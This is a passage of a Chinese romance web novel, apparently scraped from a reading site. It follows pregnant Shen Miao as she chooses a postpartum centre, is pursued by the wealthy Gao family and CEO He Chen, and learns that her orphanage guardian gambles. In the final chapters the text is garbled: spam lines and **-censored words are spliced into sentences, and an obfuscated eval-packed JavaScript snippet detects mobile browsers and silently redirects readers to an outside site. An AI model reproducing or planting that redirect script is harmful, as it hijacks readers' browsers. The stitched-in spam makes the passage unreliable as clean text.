商音回去再爬爬垫上坐下,唉声叹气,“真不知道认识贺忱,算不算你倒霉。” 沈渺转身进厨房切果盘,再回来时商商已经在婴儿床上睡着了。 “东西都置办的差不多了,抽空把月子中心订了吧。” 商音手搓着头,捏了块菠萝放嘴里,“昭姐待的月子中心真不错,你考虑一下?” 沈渺摇头,“不考虑,太贵了,我已经有了合适的选择。” “是吗?”商音眼珠子一咕噜,问,“大概什么价位的?” “在网上看了一家三万的。”沈渺这两天,注意力都在孩子身上。 足不出户,把跟生孩子有关的事儿都办的七七八八,办不了的就查透彻了。 那家月子中心,是她再三对比之后觉得合适的。 商音吸吸鼻子,“那改天我们去看看,顺便给你看看我给你准备的大礼。” “大礼?”沈渺含在嘴里的菠萝一顿,迅速嚼了吃下去,“是什么?” “到时候你就知道了。” 商音朝她眨眨眼,“不过你可别太感动,我可不想哭。” 沈渺不禁莞尔。 满心准备生产,她很快将明黎艳这通电话,抛之脑后了。 次日,沈渺与商音一起去看月子中心。 三万的收费标准在深城来说,只能算一般。 但是这家的环境与服务堪比维尔亚月子中心。 唯一不足的是,在郊区,离着市中心很远。 沈渺跟商音开车快两个小时才到。 一路上商音抱怨好几次,“早知道这么远,我就直接pass了。” “远一点也没关系,反正住在里面,又不是天天来回跑。” 沈渺倒是知道这里远。 网上清一色评价,美中不足的就是离着市区太远了。 “那我不得隔三差五来看你?”商音翻白眼,“把你一个人丢月子中心,我可不放心!” 沈渺想了想说,“你要不忍一个月呢?等我出了月子搬回去住,可有的你忙,你再清净一个月。” 她到时也会雇个月嫂。 但是孩子太小,她脱不开身,肯定有很多需要商音帮忙的地方。 商音有商商,还要忙工作,到时肯定会忙翻天。 “忍不了。”商音勾着嘴角坏笑,“小美人终于生完孩子了,我还能放过你吗?” 沈渺:“……” “等不到你坐完月子,我就要跟你夜夜笙歌,而且我的商商也想看他的童养媳啊!” 商音语气欢快,迫不及待想到那一天了。 沈渺跟她扯皮,聊到没话说,才到地方。 路程耗精力,沈渺参观了一圈,觉得还不错,就想定下来。 “沈小姐放心,到时我们会去医院接您过来,等您做完月子我们也会派车送您回家,所以距离不是问题。” 招待人员听商音说了两次太远,将无微不至的服务说出来。 “那挺好,我的预产期还有两个月,能——” “这样吧我们加个微信,有事线上沟通,如果合适线上预定,可以吧?” 商音拦了沈渺一把。 招待人员点头,“可以的,您有什么顾虑及时跟我们沟通!” 不等沈渺再说什么,商音拉着她就走了。 “实力同等价位的月子中心,不论环境还是待遇都没这么好,更贵的我也不考虑,咱就别浪费时间再看别的了。” 商音朝她挑挑眉,“我不是说了给你惊喜,现在就带你去。” 她神神秘秘秘的,沈渺无奈摇头,却也只能由着她。 218.我让你吃不了兜着走! 两个小时后,车在维尔亚月子中心停下。 沈渺睡着了,是被商音喊醒的。 她睁开眼睛看着周围,略微熟悉,反应了一会儿才想起来这是哪儿。 “你带我来这儿干什么?” 商音从包里拿出卡,朝她抖了抖眼眉,“钱我都准备好了,这个月子咱就在这儿了!” 她下车,绕到沈渺那侧,把车门打开,“下来,进去交钱。” “不去。”沈渺坐在车上不下来,“没必要花这个钱。” 商音跺了下脚,“我是为你好,这里离着医院也近,生产完月子中的产妇随时都有危险情况发生的,万一出事都不来及……” 不等说完,她拍了两下嘴巴,“呸呸呸,不能乌鸦嘴,不会出事的,但这边真的合适。” “那边也有医疗团队,而且是高龄产妇危险率较高,我现在正年轻。” 沈渺欲关车门,“你上车,咱们回家。” “我都跟这边打好招呼了。” 商音抱着车门,不让她关,“你好歹给我个面子,下来看看。” 沈渺不理她,不下车。 “我们有钱,你不用担心钱。”商音劝说。 “我们只是当下有钱,不是一直有钱,我们应该把钱花在刀刃上,明白吗?” 沈渺知道,商音为她好。 但她们目前很好,只是目前,不代表以后都会这么好。 两个孩子花钱的地方很多,必须提前做足准备。 “我就是觉得,咱俩这辈子也就生这一次孩子,京北的消费更高,住不起好的,我都觉得对不起自己,现在我不想对不起你。” 商音耷拉着脑袋,“我这孩子父不详,你的孩子是贺家的小少爷,跟不上他爹享福,咱也得让他过养尊处优的生活。” “这,万一以后贺家来抢孩子,至少孩子不会被纸醉金迷的生活迷了眼。” 她想的,比沈渺还远。 沈渺沉默几秒说,“我们就是再努力,也给不了他贺家的生活,如果孩子的身世真的暴露,选择权不在我手上,更不在他手上,在贺忱手上。” 贺家想认这个孩子,她挡不住,孩子的意愿更不重要。 贺家不像认这个孩子,孩子再爱富嫌贫,也入不了贺家的大门。 “我……” “沈渺?” 不等商音说完,一旁传来一道声音。 沈渺回头,透过车门缝往后看。 高夫人穿着真丝两件套裙,臂弯挂着珍珠包包,黑色长发盘起,整个人端庄贵气。 她看到沈渺,目光流露出的欣喜,比以往更甚。 “没想到在这里看到你了?” 她阔步朝这边走过来。 商音让开位置。 沈渺不得不从车上下来,“高夫人。” “你是来看月子中心的吗?”高夫人走到她面前停下,眼含笑容。 “过来看看。”沈渺随口回答。 高夫人身后还跟着月子中心的工作人员。 她们见过沈渺,想起来了,忙说,“二位是约了今天再来看看月子中心吧?我们这边已经准备好接待了,可以直接进去。” 商音张了张嘴,正欲说‘行’。 “抱歉,我们今天临时有事,要先走,改天再约吧。” 沈渺先一步开口,她又朝高夫人颔首,“高夫人,就不打扰您了,我先走了。” “这马上中午了,一起吃个饭吧。” 高夫人看了看时间,热情邀请,“正好,珊珊的事情我还想跟你聊两句。” 她邀请沈渺的语气,像是她们认识了很久,偶尔遇见一定要吃顿饭。 “高夫人,我们还有事。”沈渺重复了一遍。 高夫人才反应过来,她还有事。 “你瞧我,都没注意,那你去忙吧,改天有时间一起吃个饭。” 沈渺微点了下头,转身推着商音回车上。 商音似乎还有些不死心。 沈渺索性推着她坐打扫副驾驶上,自己绕到驾驶位开车。 “你瞧人家接待员的眼神,一下子就看出我们是找借口的了。” 车窗关上,商音小声嘟囔。 沈渺踩油门走人。 接待员确实在小声吐槽,“高夫人,这两个人来过一次了,估计是觉得这里贵,想住又没钱,咱们不管她了,您要给少夫人定六十八万那一档吗?这边给您办理手续?” “嫌贵?”高夫人回头,呢喃着这两个字。 “对啊,上次她们来了,就问最低档多少钱,对您来说最高档六十八万也是轻而易举,但对普通人来说十万最低档也很贵了。” 接待员将随身带着的单据拿出来,“您可以先预付十万的定金。” 高夫人沉吟片刻,又朝沈渺她们离开的方向看了一眼。 “帮我订两个最高档的,另外一份写沈小姐的名字。” 接待员一愣,“您要给沈小姐订一份?” 高夫人伶俐的眼神看她一眼,“有什么问题吗?” “没!没有!”接待员忙不迭摇头。 “我听说,你们有对接的医院,能提前预约深城最好的产科医生过来接生?”高夫人又问。 接待员,“对,我还没来得及给您介绍,那是需要另外收费的,到时医生会来咱们月子中心,生产完直接回房间,对产后竭尽全力的产妇很友好。” 刚介绍完,高夫人就掏出卡来,“再帮我预定两位医生。” “预约医生过来,要六位数一位,您确定预定两位吗?” 接待员不是怀疑高夫人掏不起。 她单纯觉得,高夫人没必要给沈渺掏这笔钱。 毕竟,高夫人跟沈渺没关系啊。 “确定。”高夫人把卡交给她。 接待员不再多问,立刻开单收钱。 等待期间,高夫人的手机突然响了。 她滑动屏幕接起,刚听到那端传来的声音,她的眉头就拧起来了。 “我说了,若非必要,以后不要再联系,谁让你来深城的……少跟我说这些,你自己惹的祸自己解决!我警告你,以后别再联系我!你敢捅破当初那件事情,我让你吃不了兜着走!” 高夫人声音前所未有的凝重,说完她毫不犹豫挂断了电话。 那端,沈渺跟商音回到家里。 商音耷拉着脑袋,那叫一个垂头丧气。 “人家给你准备的惊喜,让你泼了一盆冷水。” 219.你跟唯怡这个婚,还结不结? 沈渺换睡衣,睨了她一眼。 “你要是背着我去订,我跟你翻脸。” 商音撇嘴,“刚遇到的那个女人,是不是见过?我觉得很眼熟。” “上午来看月子中心时,见过一次。” 沈渺提醒道。 商音想起来了,“上次你就是为了偶遇她,才跑到这个月子中心去的,你们关系很好吗?” “只是一个客户。”沈渺摇头否认,“就是她让我觉得怪怪的。” “千奇百怪的人多了去了,别放在心上。”商音对一个老妇女行为怪异不感兴趣,“你能理解我的想法吗?” 她暗指想给沈渺定好的月子中心,真的是良苦用心。 沈渺白她一眼,“不想理解,不去,不聊。” 她转身就到客厅跟商商玩了。 两人回来的虽晚,可昭姐还是准备了午饭。 她又热了一遍,沈渺和商音上桌吃饭。 吃饱后,沈渺回了自己那儿。 早上起来的早,她准备睡个午觉。 没等躺下,家门被敲响。 她只得爬起来去开门。 “沈渺,你开门!” 是商音,她咋咋呼呼的,敲门敲的急。 沈渺开门,“怎么了?” “浅姨,浅姨来了。”商音接到浅姨电话,一路跑过来的,此刻有些气喘吁吁。 “她来深城干什么?”沈渺面色一沉,“孤儿院里的孩子们呢,谁照顾?” 商音摇头,“不清楚啊,她就突然给我打电话,告诉我来了,说晚上一起吃个饭。” 这些年,沈渺印象里,浅姨就没出过京北。 她们前脚来,后脚浅姨就跟过来了。 “去哪儿吃饭?”沈渺问。 商音指了指手机,“她让我把地址发给她,说来家里吃饭,看看你再看看孩子。” 她已经把地址编辑好,正准备给浅姨发过去。 “先别发。”沈渺拦下她,“约她在外面吃饭。” “为啥啊?”商音嘴上问,手上已经开始删除编辑的消息了。 沈渺不多解释,“先见她一面,若她有事过来只是来看看,再让她来家里也不迟。” 商音点头,“成,那我按你说的办,你睡觉去吧,晚上咱俩一起过去。” 这么一搅,沈渺睡不着了,她躺在床上翻来覆去的。 —- 总裁办。 贺忱伫立在窗边,扣着手机接听电话。 “高家有个规矩,家产传女,没女丁时再传男,到了高振山这一辈,两个儿子,他还有个弟弟,这兄弟两个曾经合谋想改了家族规矩,被旁支的人摁着不许改。” “深城关于高家的传闻很多,高夫人婚后五年才生下儿子,有人说她在生高裴济之前,生个一个女儿,被高振山给掐死了。” “哦对,高家二夫人曾生下过一个女婴,刚出生夭折了,为这事儿高二夫人抑郁很多年,直到六年前生下小儿子,情况才好转。” 林昭把高家调查了个底朝天。 风评不是很好,但胜在都是传说,没有实质性的证据。 所以高家在深城的地位,十分稳固。 “你说这么多,跟沈渺有关系吗。”贺忱反问。 林昭‘呃’了下才说,“您说,沈秘书是不是高家血脉?” 贺忱,“你问我?” 林昭:“……” 高家对沈渺的态度蹊跷。 可是想查,也得找个方向去查,不然无从下手。 “把你想过的可能性,全都查一遍。” 贺忱薄唇轻启,一张一合就给林昭下达了巨任! 林昭几度想求放过,到底还是咽下了废话,因为他知道说了也不管用。 自己累成狗,贺忱都不在乎,贺忱只看成果。 “是。” 办公室门被敲响,贺忱挂了电话,低沉道了一个字,“进。” 李白恬推门进来,神色慌张。 “贺总,明董来了。” “谁?”贺忱眉头一拢,回过头看去。 李白恬重复一遍,“明董。” 她话音刚落地,明黎艳推开半敞的门,阔步进来。 “怎么?妈来了你不欢迎?” 贺忱给李白恬使眼色,李白恬先一步离开。 “您来了怎么不说一声?” 明黎艳站在办公室,四周扫视一圈,“就是想突击杀过来,看看你有没有干坏事。” 贺忱眸光微动,在办公桌前坐下,“我能干什么坏事。” “不干坏事,怎么在深城不走了?”明黎艳在他对面坐下,“婚事我跟你程阿姨都处理的差不多了,你跑到这里来躲清净,听说……唯怡来了你都没跟她好好吃顿饭,怎么回事?” “工作忙。” 贺忱吐出三个字。 明黎艳,“能有多忙,你都让沈渺休产假了,还把大项目交给韩文松做,可见分部这边根本不忙。” “就是因为项目在韩文松手上,所以我才得亲自盯着。” 贺忱淡然自若的解释。 他不像撒谎的样子。 “贺忱,我就问你一句,你跟唯怡这个婚,还结不结?” 明黎艳探究的目光打量着自家儿子。 奈何贺忱寡淡的面容,是令人看不透的高深莫测 她连半分情绪或真假,都探究不出来。 “只要您让结,我就结。”贺忱不假思索。 他的侧面回答,明黎艳并不是很满意。 但明黎艳不深究,她说了句‘好’,然后站起来。 “你忙工作吧,晚上我约了唯怡一起吃饭,你到时候过来。” 不等贺忱回答,明黎艳就走了。 傍晚,贵雅轩。 商音说请浅姨在外面吃饭,浅姨直接选了这儿。 沈渺跟商音来了才知道,这地儿人均四位数。 两人都不打算进去,奈何刚下车,就看到浅姨在靠窗位置,朝她们挥手。 “渺渺,音音!” 安静的餐厅,周围人都投过来目光。 沈渺和商音只能走进去,低声喊了声‘浅姨’。 “你们两个在深城过得不错啊。”浅姨见她们打扮得光鲜亮丽,眼底泛出一抹光芒。 沈渺,“你怎么会到深城来?孤儿院那边有人照顾吗?” 她只字不寒暄,浅姨笑容浅了几分。 “你们可能不知道,我就是深城人。” 她这话一出,沈渺和商音都愣住了。 “过来有点事,知道你们在这边,顺路看看。”浅姨眼珠子一咕噜,试探性的问了句,“你们知道深城高家吗?” 220.离着高家人远点 沈渺和商音对视一眼,皆是从彼此的眼底看到了端倪。 “知道。”沈渺低头摆弄手机,佯装无意的回应。 浅姨身体前倾,压低些许声音,“接触过了?” 沈渺拨弄屏幕的动作一顿,她关了手机看向浅姨。 “你有事可以直接说。” “神神秘秘的干什么?”商音压不住脾气了,“怎么?你是高家人啊?” 浅姨摇头,“当然不是,我就是告诉你们,离着高家人远点。” 沈渺,“原因。” “没有原因,我还能害你吗?” 浅姨一脸为你好的表情,“你们两个就是不听话,说也不听我可就不管了,到时候得罪了高家,我救不了你们。” 商音翻白眼,“我们得罪高家干什么?你把肠子捋直了说话行吗?” “不是你们得罪高家,是高家要知道你们的存在,就会主动来为难你们。” 浅姨轻敲了两下桌子,“你们跟高家有仇。” 商音:“???” “你知道我们的身世。”沈渺脱口而出。 浅姨一愣,忙不迭摇头,“不知道!” 沈渺,“不知道你为什么说我们跟高家有仇?我们长这么大,第一次来深城。” 商音眼睛不由得睁大,“你到底什么意思啊?” “哎呀。”浅姨静默数秒,拧着眉说,“我,其实是我跟高家有仇,我就是不想让你们跟高家人接触。” 沈渺继而戳破她,“我不信。” “你不信拉倒。”浅姨没有被戳破的窘迫,一脸烦躁的站起来说,“我突然想起来还有事,今天这顿饭就先不吃了。” 说着她起身就走了。 速度快到没给沈渺和商音反应的机会。 “她什么意思啊?”商音一听说‘身世’二字,分外上心,“我们会不会真的跟高家有关系啊?” 沈渺看她一眼。 她眼底透露着对亲情的渴望,对家人的期望。 “我只是随口一说。”她递给商音一杯水,“你冷静一下。” 商音语气迫切,“我觉得你分析的很对,我们刚到深城跟高家人没见两次面,哪里来的仇?她是不是知道些什么?” “音音。”沈渺语气轻缓而凝重,“她若是真知道什么,迟早会告诉我们,而且结局不见得像你想的那么好。” 寻找家人,面临的不止丢走、拐卖两种结局。 还有被丢弃的可能性。 “可是万一是好的呢?”商音毫不犹豫的说,“万一我们的父母也在找我们呢?刚刚忘了问她,是你跟高家有关系,还是我。” 她朝浅姨离开的方向看了一眼,有追上去的架势。 看到她这样,沈渺喉咙发紧,不知道该再说什么了。 “可能是你。”商音转过头来,抓着沈渺的手说,“高家人对你怪怪的,是不是认出你来了?” 她比沈渺还激动。 沈渺本舒缓的眉头渐渐拧起,“音音,你冷静一点。” 来的时候好好的,突如其来的变故,让商音不能淡定。 “我没什么好冷静的,找家里人是我一直以来的执念,渺渺,既然你这儿有了苗头,还是送上门来的苗头,你必须得弄清楚怎么回事!” 她碎碎念,掏出手机就开始在网上查高家。 只是,在网上搜到的高家新闻,远不及林昭查的那么多。 根本看不出异样。 “时间不早了,我们先回家,不吃了。” 服务员在一旁等着点餐,商音一味说高家的事情。 不查出个所以然来,商音连饭都吃不下去。 沈渺索性拉着她起来,歉意的跟服务员解释,“抱歉,我们有事先走了。” 商音任由她拉着上车,找熟人打听高家的事情。 不远处,缩在角落,看着两人上了车,她转过头来与一位看起来四十来岁的女人说,“高二夫人,你瞧着不眼熟吗?” “你到底什么意思?”张淑兰不可思议的看着她,“好端端的带我来看这两个女人干什么?” 浅姨毫不犹豫的说,“当初你生下的那个孩子,根本没有夭折——” 张淑兰语气更为不敢相信的打断她,“你在胡说什么!” “我是不是胡说,你查一查就知道了。”浅姨故弄玄虚,“不过,她们两个都是我养大的,你要是想查得经过我的同意。” 张淑兰眉头一拧,片刻又舒展开来。 “别以为我不知道,当初你是因为赌博被赶出高家的,现在竟然荒谬到编造这种谎言来骗我的钱?赶紧滚,不然我报警了!” 说着,她转身离开。 回到车上,张淑兰忍不住又朝沈渺和商音的方向看了一眼。 虽然她不信那个女人说的话,但是那两个女人中其中一个,确实给她一种很熟悉的感觉…… “跟上刚刚那两个女人。”她吩咐司机。 “是,夫人。” 浅姨跟上来,敲她车窗,“高二夫人,你相信我,我说的都是真的……” 汽车缓缓驶离原地。 浅姨被甩下,她盯着张淑兰离开的方向愣了一会儿,转身朝另外一个方向走去。 餐厅二楼,贺忱伫立在窗边,注视着这一幕。 距离甚远,他听不到她们的谈话声。 可他认出来,浅姨是沈渺孤儿院的负责人。 他眉头一拢,掏出手机给林昭发出一则消息。 【查一查沈渺孤儿院的负责人。】 “贺忱哥,你在干什么?” 他身后,程唯怡和明黎艳分别坐在方桌两侧。 两人聊了好一会儿,也不见贺忱坐下来,程唯怡起身走到他身边,顺着他视线往下看。 贺忱收敛目光,折回餐桌前,拿起椅背上的外套。 “我还有些事情,先走了,你们吃。” 程唯怡脸色微变。 明黎艳反应过来即刻起身,“在忙也要吃饭,不然身体会吃不消的。” 可她还是晚了贺忱一步,贺忱利落穿上外套,人已经出了包厢门。 “你们吃,不用管我。” 出了餐厅的门,贺忱上车直奔沈渺离开的方向。 —— “你想想,浅姨说过我是被人丢在寺庙山上的,我怎么会跟深城的人扯上关系呢?” 沈渺不遗余力的说服商音,放弃那荒谬的想法,“她有可能故意这么说,钓你上钩,另有目的。” 商音欲言又止,怕说多了惹沈渺生气,犹豫要不要继续探讨这个问题。 “行行行,你的事情你都不关心,我就别这么上心了。” 她把手机丢到一旁,“那就说说浅姨,她闹这一出图什么?” 沈渺摇头,“不知道图什么。” 直觉告诉她图钱。 难道,浅姨又没钱了? “那算了,不想这些了,我们找个地方吃饭。”商音就近搜索美食餐厅,找了家环境不错的餐厅。 221.你是不是知道些什么 相比浅姨选的那家餐厅,这里平价多了。 她们在靠窗位置坐下,点了几道小菜,等餐期间又聊起刚刚的事情。 “浅姨还没说,孤儿院谁在管。” 商音想到什么似的掏出手机,“我问问卷卷。” 她们离开时,给卷卷买了一部手机。 卷卷在学校住宿时,手机交到老师手中,放假回家随时可以跟她们联系。 今天刚好周末,卷卷放假了。 “这小姑娘就是跟别人不一样,没人限制也不常抱着手机玩,估计静音学习了,这么半天不回消息。” 商音发出消息等了好半天,也没收到卷卷的回信。 “直接打电话。” 沈渺提醒。 商音一个电话拨过去,却提醒对方关机。 “什么情况,没电关机了?” 商音又拨了一遍,同样的提醒。 “等等再打。” 小孩子把手机用到没电自动关机,才想到充电,并不稀奇。 餐厅门口突然传来一阵骚乱,沈渺还有话没说完,就不由自主的看过去。 一个穿着黑色旗袍的贵妇人,脖子上一串珍珠项链气质非凡。 那与生俱来的贵气,与餐厅的装修格格不入。 “呦呵。”商音小声嘀咕,“那包至少六位数,都能买这家餐厅了,这是深城哪家的贵太太跑到这上不了台面的餐厅来了?” 她话音落地,却见贵太太朝她们看过来,目光一凝后,在她们就近的位置坐下。 立刻有服务员上前去招待,许是察觉到贵太太身份不凡,店长在后面跟上来亲自招待。 “吃饭吧。” 服务员来上餐,沈渺把筷子包装拆了,递给商音,“快点回去看商商,他看不到你都不睡觉。” 一番折腾,天色已晚,吃饱饭回家就到了商商睡觉的时间了。 商音强行收回目光,接过筷子大快朵颐。 “这家餐厅味道还不错,以后让卷卷来这里上大学吧,到时候我带她尝遍深城美食。” “没有昭姐的手艺好。” 沈渺最近被昭姐养的胃口刁钻,吃不惯外面的饭菜了。 商音点头,“那是必须的,该说不说昭姐可是捡到宝了,只要她不辞职,等她带完商商再带我儿媳妇。” “两个孩子差的不多,到时候一起上幼儿园,让昭姐一块照看两个也照看的过来。” 沈渺也十分认可昭姐。 两人聊着时,突然觉得有道目光时不时看过来。 沈渺顺着感觉望过去时,眼前只有坐在斜对面的贵太太,没有其他人。 “吃饱了,咱们回家吧。” 商音擦嘴,起身拎包走人。 沈渺跟着起身出去,先后走出餐厅,正准备上车离开时—— “渺儿。”商音突然喊住她,朝路边抬了抬下巴,“那是贺忱的车吗?” 库里南停在路边,十分乍眼。 车窗全部,一片茶黑色,车内景象全遮。 “是。”沈渺一眼就认出来了。 “他来这儿干什么?”商音凑过来问,“找你啊?” 沈渺静默数秒,摇头,转身拉着商音上车。 “应该不是。” 以贺忱的身份,确实不该出现在这里。 但他将车停在那里,人没下来,就证明不是来找她的。 车内,贺忱解开安全带的手动作一顿。 他沉眸看着沈渺弯腰上车,没有丝毫犹豫的离开。 他薄唇崩成一条直线,五官线条硬朗分明,蕴起一层黯然。 视线停留在沈渺离开的方向。 餐厅门口,张淑兰也出来了,她站在原地愣愣王望着飞速离开的车。 “去,找餐厅的人要一下监控。”张淑兰吩咐司机。 司机立马转身去办。 张淑兰的心不可抑制的狂跳,刚刚那张明艳动人的脸,让她仿佛看到了自己年轻时的模样。 她虽然觉得那女人的话离谱的过分。 可是她却不受控制的开始抱希望。 “高二夫人。” 张淑兰回头,便看到贺忱站在那里,“你是?” 贺忱递过来一张名片,“京北贺忱。” “贺总?”张淑兰接过名片,语调诧异,“你来这儿是?” “路过。”贺忱言简意赅,“约了高先生几次,他似乎很忙。” 张淑兰客气一笑道,“他已经很久不插手商业的事情了,专心在家里陪伴孩子。” 贺忱颔首,“早就听闻高先生顾家,现在看来果真如此,不过我约高先生不纯为了工作的事情。” “不纯为工作?”张淑兰反问,“还能有什么事情?” “为了高家。”贺忱音色凛冽正经,“高家不太平,高先生想安稳怕是很难。” 张淑兰脸色一沉,“那不还是工作?” 她态度抗拒,饶是跟贺忱第一次见,并且知道贺忱身份不凡,也没能控制住情绪。 可见,她跟高先生是想关起门来过自己的日子。 贺忱沉吟片刻道,“那是我唐突了,帮我向高先生问好。” 他不为难。 张淑兰态度缓了缓,“抱歉,我刚刚失态了,因为有些烦心事。” “无妨,名片留着吧,日后有需要我帮忙的地方,尽管找我。” 贺忱颔首,转身回到车上离开。 夜色很浓,他朝着沈渺她们离开的方向追过去。 —— 沈渺和商音在家门口分开。 她开门进屋,不等反手关门,就被一只冷白皮的手挡住了门缝。 “沈渺。” 何之洲虚弱的声音传来。 沈渺回头,将门拉开,映入眼帘的是何之洲泛着红润的脸。 “怎么了这是?” 何之洲,“跟秦川去喝酒了,别提了这狗东西不把我当人,往死里灌。” 沈渺,“秦川?秦医生?” “对。”何之洲挤进来,把她这儿当自己家一样,往沙发上一瘫,“求你了,给我煮一碗醒酒汤行吗?” “我给你点个外卖,直接送到你家。” 沈渺拿出手机欲点外卖。 何之洲,“不行我就要喝你亲自煮的。” “我是孕妇,你好意思吗?” “我可是有消息给你带过来了。”何之洲翘起二郎腿,“关于你们孤儿院的。” 沈渺点外卖的动作一顿,眼皮轻掀看过去,“你是不是知道些什么?” 何之洲眉尾一挑,意思不言而喻。 回来的路上,商音还在念叨,卷卷的电话还关机。 沈渺转身进厨房,“等我几分钟。” 222.你是个大肚婆,我还能对你做什么? 沈渺花十分钟时间做了个简易醒酒汤。 她端出来拿给何之洲燎燎的热气在两人之间弥漫开来。 隔着厨房的窗户贺忱一眼就看到两人依偎着坐在沙发上的身影。 他眉骨一拢眸色极深在兜里掏了根烟出来咬在嘴里点燃。 室内沈渺跟何之洲隔着两米的距离。 她扭头看着何之洲“现在可以说了吗?” “你们孤儿院那个负责人把你和商音给的钱全花完了。” 何之洲撇嘴惋惜道“她**你知道吗?” 沈渺目光愕然表情怔愣“你没搞错吧?” “怎么会?”何之洲从西装内兜拿出一沓照片递过来“你自己看。” 沈渺拿过那沓照片。 几十张照片每一张都是不同时间相同地点 浅姨像变了一个人孤儿院里那个永远穿着破旧衣服戴着围裙素颜朝天的女人艳妆浓抹地穿着烈焰红裙坐在赌桌前。 眼里泛着的精光折射着桌上一摞摞的钞票。 “这……”沈渺觉得这照片太陌生了她质疑“这是P的吧?” “我跟她没仇没怨造这谣干什么?”何之洲拍着胸脯保证“这都是我让人查出来的。” 沈渺脑袋嗡嗡作响。 她又翻看了一遍照片甚至有二十多年前年轻时的样子。 这意味着浅姨从年轻时就开始**。 她突然想起来小时候有几次半夜醒了浅姨不在床上。 她和商音找遍了孤儿院也没找到浅姨的影子两个人依偎在床角不知不觉就睡着了。 再醒过来时浅姨已经回来了说她们昨晚梦游看错了。 这样的记忆有很多她都没放在心上毕竟那时太小。 后来她和商音上学住宿很少回去住。 工作以后基本不在孤儿院留宿。 这次她和商音给浅姨的钱被**输掉了。 可以前的钱是哪里来的? “我帮你查查这个人?” 何之洲只是让人递给追溯沈渺那笔钱的来源查到浅姨**。 其他的都等沈渺吩咐。 沈渺动了动唇正欲让何之洲帮忙查却又沉默了。 “不是咱俩的关系我帮你个忙怎么了?” 何之洲坐直了身体“我现在帮你是真的把你当成朋友了啊!” “我没 听说看这本书的人都是很幸运的,分享后你的运气会更棒 有不相信你只是想提醒你跟我做朋友没有好处。” 沈渺跟何之洲根本不是一个圈子里的人。 朋友也是需要平等的。 何之洲能帮她的地方多了去了而且是她根本还不回来的人情。 “沈渺你这样就没意思了。” 何之洲训起她来“朋友不是等价交换的利益品只要能互相提供情绪价值相处起来舒服就够了。” 他抖了抖腿说“我跟朋友出去吃饭从来没让他们掏过钱我心情好、坏不论白天黑夜只要我一通电话他们就愿意出来陪我喝酒解闷。” “当然我也不是傻子那些只图跟着我沾光的我都踹了。” 沈渺当然知道真正的友谊是不计较这些的。 “我帮你查。”何之洲给她使着眼色掏出手机就去打电话。 趁着他打电话的功夫沈渺又把醒酒汤回锅热了热多煮了一会儿。 片刻何之洲回来扯着笑容看起来很高兴的样子“沈渺我真没想到有一天我能交一个你这样的朋友。” 异性而且还是死对头的助理。 沈渺把热好的醒酒汤给他“就算是朋友也得注意分寸喝完了赶紧回去 “你是个大肚婆我还能对你做什么?” 被下逐客令何之洲满脸不高兴。 “是怕给你带来麻烦。” 沈渺前段时间刚出了未婚先孕的新闻。 虽然被高家压下去了但难保记者不会深挖想爆一手新闻。 “老子怕他们?”何之洲嗤声道“而且他们要是误会了**脆就认了你这个孩子干爹也是爹。” 沈渺一愣“干爹?” 何之洲眼睛一瞪“我们都是这么好的朋友了我还不能当你肚子里孩子的干爹?” 哪么好?明明刚刚才确立了朋友关系。 “你要是愿意当干爷爷也行。”何之洲咧嘴笑“到时候我比贺忱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205414|197321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高一辈。” 沈渺脸上划过一抹黑线“干哥哥考虑一下吧?” 何之洲咂咂嘴“那就取中依旧干爹吧。” 他端过醒酒汤小口小口地喝跟沈渺贫嘴。 接触起来何之洲这人并不讨厌而且他很有分寸聊天让人觉得很舒服。 一杯醒酒汤不够沈渺又起身给他煮了点醒酒茶。 她站在厨房忙碌何之洲在客厅扯着嗓门聊天。 沈 你的朋友正在书荒,快去帮帮他吧 渺的目光落在窗外。 树荫下一抹颀长的身影站在那里,明灭交间的烟火照亮男人轮廓分明的五官。 贺忱? 沈渺的心里咯噔一声,揉了揉眼睛再次看过去时。 却见树下一片空荡荡的,没有人。 看错了? 她汲气,将厨房的窗户关上,身体里莫名紧绷起的弦,这才松缓许多。 不远处,贺忱在树后走出来,掐灭的烟淬灭的烟火燃起一小片黑雾。 他转身朝外面走去,颀长的身影被拉得老长,单只形影。 库里南疾驰在空旷的公路上。 刺耳的铃声响了一遍又一遍,强行把贺忱不断走神的注意力拉回来。 他滑动屏幕接起,嗓音清洌,“什么事。” “你猜,我刚刚跟谁喝酒了。”秦川的声音传来。 贺忱,“猜不到。” 那端静默数秒,秦川反问,“你怎么了?” 贺忱一直不接电话,他以为是忙工作。 此刻听到贺忱的声音,他瞬间听出不对劲。 “没事。” 秦川,“我刚刚跟何之洲喝酒,偶然遇上的,他说喝两杯。” 贺忱眸光一沉,握着方向盘的手不由得握紧,“你什么时候跟他关系也这么好了。” 这话显得很暧昧。 从一个男人嘴里说出来,更显得醋意很浓。 但精辟在那个‘也’字上。 秦川自动理解为,他真正在意的是另外一个人,跟何之洲关系好。 “他为沈渺的事情来的,你想不想听听看,他问什么了?” 223.去问问程小姐吧,我这儿有证据 贺忱喉结滚动 “哦。”秦川淡声道“那算了吧我喝了不少先睡了。” “听声音还能喝。” 贺忱接话“再喝点我去找你。” 秦川:“……” “你要是想知道我可以在电话里直接跟你说。” 贺忱“不想知道。” 他语气理直气壮到像是只想喝点酒解解深城夜晚的夏燥。 医院给秦川安排了住处市中心的大平层。 贺忱到的时候秦川的房门开着显然是在等他。 他拎着两瓶高浓度伏特加还有一瓶红酒进去。 “你今晚这是要喝死我。” 秦川接过酒边开瓶边说“我明天还要上班只陪一杯。” 贺忱鼻腔里发出一个单音节在沙发前坐下接过秦川递过来的酒杯。 这种默不作声喝酒的场面有过无数次。 可这一次秦川一眼看出贺忱欲言又止。 他装没看见的小口小口喝酒聊聊工作扯扯以前的事情。 凌晨一点他放下空了的酒杯起身“喝了这么多今晚别走了早点睡。” 说着他朝卧室走去。 “你不是要跟我说何之洲?”贺忱靠在沙发上长腿屈膝。 自然慵懒的姿态中透着一股不自在。 秦川轻笑一声回来坐下“何之洲问我沈渺怀孕的具体时间大概是什么时候。” 